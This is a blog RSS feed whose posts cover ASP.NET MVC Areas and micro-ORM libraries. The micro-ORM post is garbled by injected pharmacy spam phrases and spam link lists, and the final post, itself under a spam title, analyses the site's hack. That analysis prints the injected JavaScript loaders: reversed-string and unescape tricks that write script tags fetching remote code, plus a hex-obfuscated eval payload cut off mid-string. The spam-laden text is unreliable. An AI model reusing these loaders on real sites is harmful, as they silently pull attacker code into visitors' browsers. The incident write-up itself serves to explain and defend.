This one is easy.  Run all of your pages through <a href="http://developer.yahoo.com/yslow/">YSlow</a> and <a href="http://code.google.com/speed/page-speed/">PageSpeed</a> (you need FireFox and <a href="http://getfirebug.com/">Firebug</a> installed for this) and find out.  Also, you don’t have to be perfect as far as these tools are concerned.  Some of the rule are probably not practical either (the “You should be using a CDN for images” rule comes to mind).  But it is good to know where you can improve.  PageSpeed has a number of really nice tools as well.  It will return you properly sized images, and compressed CSS and JavaScript if you ask it.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/30/your-javascript-goes-where/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC 2 Areas</title>
		<link>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-2-areas</link>
		<comments>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 00:13:19 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/</guid>
		<description><![CDATA[I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://elegantcode.com/wp-content/uploads/2010/03/image13.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; margin-left: 0px; border-top: 0px; margin-right: 0px; border-right: 0px" title="image" border="0" alt="image" align="right" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb13.png" width="119" height="244" /></a>I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory structure.&#160; It is like having a sub-project inside of you MVC project. </p>  <p>Here is the problem, as I see it:&#160; as an MVC project gets large, keeping all of the necessary pieces and parts for a set of controller actions straight can get a bit daunting.&#160; I’ve ended up with duplicate folder structures in views and models, which can make navigation a pain.</p>  <p>To make a new Area, simply right-click anywhere in you MVC project, Add-&gt;Area.&#160; As I said, you can do this from anywhere in the project structure, but the Areas are created in a new “Areas” folder.&#160; When you name the Area, a new folder is created with the Areas name as well.</p>  <p>Once created you should see all the familiar Controllers, Models, and Views folders (all blank).&#160; In addition to that, you will see an &lt;name&gt;AreaRegistration.cs file.&#160; This inherits from AreaRegistration, and this is where any new Routes go.&#160; In the file is a prebuilt route that should look similar to this:</p>  <div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">   <div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet">     <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum1">   1:</span> context.MapRoute(</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum2">   2:</span>     <span style="color: #006080">&quot;test1_default&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum3">   3:</span>     <span style="color: #006080">&quot;test1/{controller}/{action}/{id}&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum4">   4:</span>     <span style="color: #0000ff">new</span> { action = <span style="color: #006080">&quot;Index&quot;</span>, id = UrlParameter.Optional }</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum5">   5:</span> );</pre>
<!--CRLF--></div>
</div>

<p>So a url to the area would include /test1/ (name of my Area) in the path.&#160; That would be good if you had multiple controllers with the same name, but if you don’t, just take out the “test1” and you won’t need it in the path.</p>

<p>Also, if you leave Area name in the route, you will have a little more work to, here is what one of mine looked like:&#160; &lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;test1/TestArea&quot;) %&gt;.&#160; But it turns out this is more correct: </p>

<p>&lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;TestArea&quot;, new { area=&quot;Test1&quot;}, new {}) %&gt; </p>

<p>This also mean that any controller actions you want to link to outside if Area needs to include a blank area in the link, like this:</p>

<p>&lt;%=Html.ActionLink(&quot;Home&quot;, &quot;Index&quot;, &quot;Home&quot;, new { area=&quot;&quot;}, new {}) %&gt; </p>

<p></p>

<p></p>

<p>In case you are wondering, the first object in the area is for route values, the second is for html attributes.</p>

<p>So the downside of using Areas is that you could complicate your routing in a hurry.&#160; Plus it does not look like the Html helpers are there to lend you a hand either.&#160; It is very doable, just annoying.&#160; Of course, the easy fix is to remove the Area name from the route and move on.&#160; That should be ok so long as you do not have two controllers with the same name.</p>

<p>So are Areas a compelling feature? I think so.&#160; Plus, the larger the site, the more compelling Areas can become.&#160; For smaller sites, probably not.&#160; But I would not say no either.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>JQuery Validator Cheat Sheet</title>
		<link>http://elegantcode.com/2011/08/02/thoughts-on-microorms/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=thoughts-on-microorms</link>
		<comments>http://elegantcode.com/2011/08/02/thoughts-on-microorms/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 04:21:29 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2011/08/02/thoughts-on-microorms/</guid>
		<description><![CDATA[Metronidazole Gel For Sale, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Metronidazole Gel For Sale</b>, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when you are really trying to drive performance, there is a lot of overhead in there.&#160; Besides, my general rule has been a good ORM can handle 80-90% of your queries, and then performance tune out as needed.&#160; I’m at the performance tuning part now.</p>  <p>BTW: if you are using Entity Framework you are in the same boat.</p>  <p>So the question is, what to do with that last 10-20% that you need performance on?&#160; Previously I had gone straight to Ado.Net, or used my own <a href="http://fluentado.codeplex.com/">FluentAdo</a> project.&#160; But a few new projects have dropped in on the scene and it was time to take a look.</p>  <p>Let’s start off with some requirements: </p>  <ol>   <li>Don’t be a pain to setup.</li>    <li>Don’t hork up my domain model (I have NHibernate for that).&#160; POCO preferred.</li>    <li>Be able handle multiple result sets (something NHibernate does not do well)</li>    <li>Preference executing raw sql, not an api.&#160; </li> </ol>  <ol>I don’t need:   <li>A custom query api for constructing sql. </li>    <li>Change tracking</li>    <li>Caching </li>    <li>Lazy Loading </li>    <li>Automatically loading child objects </li> </ol>  <ol>Basically, <b>online buying Metronidazole Gel</b>, <b>My Metronidazole Gel experience</b>, be simple, be light, <b>order Metronidazole Gel online c.o.d</b>, <b>Metronidazole Gel samples</b>, be fast, don’t be another NHibernate.&#160; </ol>  <p>Now the Contenders:</p>  <ul>   <ul>     <li><font style="background-color: #ffffff">Dapper </font></li>      <li>Simple.Data</li>      <li>Massive</li>      <h3>       <ul></ul>        <ul>Dapper</ul>     </h3>      <p><a href="http://code.google.com/p/dapper-dot-net/">Dapper</a> is my current favorite.&#160; I deals with POCO objects, <b>Metronidazole Gel online cod</b>, <b>Discount Metronidazole Gel</b>, setup is very simple, very little overhead and ceremony.&#160; That said, <b>purchase Metronidazole Gel online</b>, <b>Metronidazole Gel dose</b>, it is probably the rawest for dealing with sprocs.&#160; But for a bare metal way of loading domain objects, this guy is hard to beat.</p> Here is a sample query:</ul>    <p>var customer = _connection.Query&lt;Customer&gt;(     <br />&#160;&#160;&#160; &quot;select * from dbo.Customers where CustomerId = @id&quot;, <b>where can i buy cheapest Metronidazole Gel online</b>, <b>Metronidazole Gel pictures</b>, <br />&#160;&#160;&#160; new {id = 1})      <br />&#160;&#160;&#160; .FirstOrDefault();</p>    <p>Basically, Dapper handles all of my requirements with ease.&#160; I almost forgot to mention, <b>where can i find Metronidazole Gel online</b>, <b>Metronidazole Gel photos</b>, Dapper is compatible with .Net 4.0 and 3.5.&#160;&#160; That is a huge win for me.&#160; Plus, the guys on Stack Overflow are using it, <b>Metronidazole Gel samples</b>, <b>Metronidazole Gel recreational</b>, which makes for an easy “sell” to my management team.</p>    <p>&#160;</p>    <h3>Simple.Data</h3>    <ul><a href="https://github.com/markrendle/Simple.Data">Simple.Data</a> is also very interesting.&#160; It makes extensive use of .net 4.0 and the dynamic.&#160; Simple.Data is fairly ORM’ish, in that it seems to scan your database schema and dynamically add methods for retrieving data.&#160; But it still uses POCO classes so I am good with that.</ul> Here is a sample query:</ul>  <p>var db = Database.Open();   <br />var customer = db.Customers.FindByCustomerId(1);</p>  <p>To get that to work I defined the customer class with a CustomerID…and that is it.&#160; Dapper came up with the FindByCustomerId part.&#160; It also adds stored procs as well, <b>Metronidazole Gel pictures</b>, <b>Order Metronidazole Gel no prescription</b>, so if I have a sproc called “GetCustomers”, I can call:</p>  <p>db.GetCustomers()</p>  <p>It is just scary what is going on here.&#160; Granted there is a down-side to this system – albiet minor.&#160; There is a bit of overhead while Simple.Data scans your database schema and gets setup.</p>  <p>Verdict: I don’t mind Simple.Data, <b>Metronidazole Gel reviews</b>, <b>Metronidazole Gel wiki</b>, but the .Net 4.0 only part is a problem, plus it strays a bit into becoming a ORM – a bit too much API, <b>Metronidazole Gel no prescription</b>, <b>Metronidazole Gel duration</b>, but nothing obnoxious.</p>  <h3>Massive</h3>  <p>I should have known how this one would turn out ahead of time, but I really didn’t want to believe it.&#160; When I was young and foolish I was a SubSonic guy.&#160; Truth is, <b>Metronidazole Gel coupon</b>, <b>Metronidazole Gel dose</b>, I read Rob Connery’s blog religiously.&#160; But I moved passed SubSonic and onto NHibernate and never looked back.&#160; Heck, I moved passed Active Record and onto Repository Pattern.&#160; (Since then I’ve moved on again to Query/Command Pattern, <b>buy Metronidazole Gel without prescription</b>, <b>Online buy Metronidazole Gel without a prescription</b>, but another time for that).</p>  <p>First off, Massive horks up my domain model.&#160; Each entity has to inherit from DynamicModel.&#160; So before my model looked like this:</p>  <p>class Customer   <br />{    <br />&#160;&#160;&#160; public int CustomerId { get; set; }    <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>Now, <b>where can i find Metronidazole Gel online</b>, <b>Online Metronidazole Gel without a prescription</b>, Massive-fied:</p>  <p>class Customer: DynamicModel   <br />{    <br />&#160;&#160;&#160; public Customer(): base(&quot;Default&quot;)    <br />&#160;&#160;&#160; {    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; TableName = &quot;Customers&quot;;    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; PrimaryKeyField = &quot;CustomerId&quot;;    <br />&#160;&#160;&#160; }</p>  <p>&#160;&#160;&#160; public int CustomerId { get; set; }   <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>And that “Default” in there, that is the name of my connection string.&#160; Wonderful.&#160; Also, <b>buy Metronidazole Gel online no prescription</b>, <b>Buy cheap Metronidazole Gel no rx</b>, because my table names are plural, I have to specify the name of my table for them in EVERY SINGLE CLASS.</p>  <p>Now, <b>Metronidazole Gel steet value</b>, <b>Get Metronidazole Gel</b>, how to query:</p>  <p>var tbl = new Customer();   <br />var customer = tbl.Single(1);</p>  <p>Smack-dab, back to Active Record.</p>  <p>Also, <b>herbal Metronidazole Gel</b>, <b>Metronidazole Gel australia, uk, us, usa</b>, I didn’t see anything on how to parse multiple result sets.</p>  <p>Go to <a href="http://blog.wekeroad.com/helpy-stuff/and-i-shall-call-it-massive">Rob’s site and you will see more samples</a>.&#160; Needless to say, it is off my list.&#160; Granted, <b>after Metronidazole Gel</b>, <b>Purchase Metronidazole Gel online no prescription</b>, Massive is still much less overhead than NHibernate and Entity framework, but there is too much API there for me, <b>Metronidazole Gel from mexico</b>, <b>Order Metronidazole Gel from United States pharmacy</b>, too much setup, I don’t get my POCOs, <b>Metronidazole Gel long term</b>, <b>Buy cheap Metronidazole Gel</b>, etc.</p>.  Metronidazole Gel cost.  Order Metronidazole Gel online overnight delivery no prescription.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4831'>Buy Glucophage Without Prescription</a>. <a href='http://elegantcode.com/?p=4622'>Buy Diclofenac Without Prescription</a>. <a href='http://elegantcode.com/?p=4307'>Buy Toradol Without Prescription</a>. <a href='http://elegantcode.com/?p=4308'>Buy Cipro Without Prescription</a>. <a href='http://elegantcode.com/?p=4240'>Buy Combivent Without Prescription</a>. <a href='http://elegantcode.com/?p=5052'>Lotrisone cost</a>. <a href='http://elegantcode.com/?p=4233'>Online buying Pristiq hcl</a>. <a href='http://elegantcode.com/?p=4859'>Where to buy Triamterene</a>. <a href='http://elegantcode.com/?p=5163'>Online buying Zithromax</a>. <a href='http://elegantcode.com/?p=4218'>Elavil use</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.macneilbmx.com/blog/?p=5244'>Metronidazole Gel For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3407'>Metronidazole Gel For Sale</a>. <a href='http://www.thegriffonnews.com/?p=9775'>Metronidazole Gel For Sale</a>. <a href='http://www.independentworldreport.com/?p=198'>Metronidazole Gel For Sale</a>. <a href='http://www.themusclecarplace.com/?p=2956'>Metronidazole Gel For Sale</a>. <a href='http://www.quarterlives.com/?p=920'>Buy no prescription Metronidazole Gel online</a>. <a href='http://tayloegray.com/?p=253'>Metronidazole Gel alternatives</a>. <a href='http://social-blend.com/?p=761'>Metronidazole Gel schedule</a>. <a href='http://blog.farmland.org/?p=3382'>Online buy Metronidazole Gel without a prescription</a>. <a href='http://www.leaduganda.org/?p=1014'>Metronidazole Gel no prescription</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/08/02/thoughts-on-microorms/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Elegant Code &#187; Chris Brandsma</title>
	<atom:link href="http://elegantcode.com/author/brandsma/feed/" rel="self" type="application/rss+xml" />
	<link>http://elegantcode.com</link>
	<description></description>
	<lastBuildDate>Tue, 15 May 2012 10:00:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Flagyl For Sale</title>
		<link>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=getting-hacked-and-seven-levels-of-indirection</link>
		<comments>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 04:27:49 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5068</guid>
		<description><![CDATA[Flagyl For Sale, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Flagyl For Sale</b>, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers do with this untold power (full admin rights to our web site)?&#160; Well, they injected one link.&#160; To a javascript file.&#160; Which loaded another javascript file, which downloaded another,…., which downloaded a Java applet, which seems to load images in the background.</p>  <p>OK, the first link injected into the site (the site master page, or whatever they call it in wordpress php land – I don’t speak much of their language) was this:</p>  <p>[http://geistsweden.eu/wp-cache/]&#160;&#160;&#160;&#160; a link that was kind enough to load this javascript.</p>  <div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">   <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">     <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> r(s) { <span style="color: #0000ff">var</span> i = 0; <span style="color: #0000ff">var</span> ss = <span style="color: #006080">''</span>; <span style="color: #0000ff">for</span> (i=s.length - 1; i &gt;= 0; i--) { ss += s.charAt(i); } <span style="color: #0000ff">return</span> ss; } <span style="color: #0000ff">try</span> { <span style="color: #0000ff">new</span> document(1111); } <span style="color: #0000ff">catch</span>(e) { x = eval; x(r(<span style="color: #006080">'&quot;=crs &quot;tpircsavaj/txet&quot;=epyt tpircs&lt;\'(etirw.tnemucod'</span>) + <span style="color: #006080">'http://dl.dropbox.com/u/64856372/B4/Controle.js'</span> + r(<span style="color: #006080">')\'&gt;tpircs/&lt;&gt;&quot;'</span>)); }</pre>  </div></div></p>
<p><p>If you can read that, you would actually see it loading another javascript file from DropBox from the following url: [http://dl.dropbox.com/u/64856372/B4/Controle.js] which in turn loads this:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.<span style="color: #0000ff">write</span>(unescape(<span style="color: #006080">'%3Cscript%20src%3D%22http%3A%2F%2Fflyfishers.ch%2Fwp-admin%2FcPanelX%2Findex.php%3Fsetup%3Dd%22%3E%3C%2Fscript%3E'</span>));</pre>  </div></div></p>
<p><p>Using Google Chrome, load up a random web page, right-click and take “Inspect element” somewhere on the document.&#160; Find the console tab, and you can enter in the entire part that matches “unescape(….)” and get the contents.&#160; Magically you get ANOTHER URL:&#160; [http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d].</p></p>
<p><p>Now, that part was easy, now it gets tricky, and long.&#160; Here is the contents of that GET request:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.write(<span style="color: #006080">'&lt;sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt src=&quot;http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d&amp;s=2&amp;r='</span> + Math.floor(100000 + (Math.random()*999999 + 1)) + <span style="color: #006080">'&quot; type=&quot;text/javascript&quot; charset=&quot;iso-8859-1&quot;&gt;&lt;/sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt&gt;'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">function</span> aAwJinPSCPg() { <span style="color: #0000ff">var</span> moqbqYo = <span style="color: #006080">'\x76\x61\x72\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x20\x3d\x20\x27\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d\x27\x3b\x20\x76\x61\x72\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x20\x3d\x20\x27\x66\x3d\x28\x3c\x38\x3d\x3e\x79\x79\x40\x3d\x2b\x29\x29\x38\x37\x3d\x78\x2a\x37\x37\x2e\x79\x27\x3b\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x73\x29\x20\x7b\x20\x76\x61\x72\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x3d\x20\x27\x27\x3b\x20\x76\x61\x72\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x2d\x31\x3b\x20\x76\x61\x72\x20\x63\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x4a\x52\x74\x7a\x46\x74\x59\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x29\x3b\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x3d\x30\x3b\x69\x3c\x4a\x52\x74\x7a\x46\x74\x59\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x69\x2b\x2b\x29\x20\x7b\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x29\x3b\x20\x69\x66\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3e\x3d\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x2d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x63\x29\x29\x20\x25\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x66\x20\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3c\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x7d\x20\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x63\x68\x61\x72\x41\x74\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x29\x3b\x20\x20\x63\x2b\x2b\x3b\x20\x69\x66\x20\x28\x63\x20\x3e\x3d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x20\x7b\x20\x63\x20\x3d\x20\x30\x3b\x20\x7d\x20\x7d\x20\x65\x6c\x73\x65\x20\x7b\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x3b\x20\x7d\x20\x7d\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x3b\x20\x7d\x20\x65\x76\x61\x6c\x28\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x27\x54\x57\x53\x25\x32\x30\x65\x6a\x69\x5f\x6f\x56\x67\x6e\x6e\x58\x5f\x51\x50\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x6a\x6e\x6b\x48\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\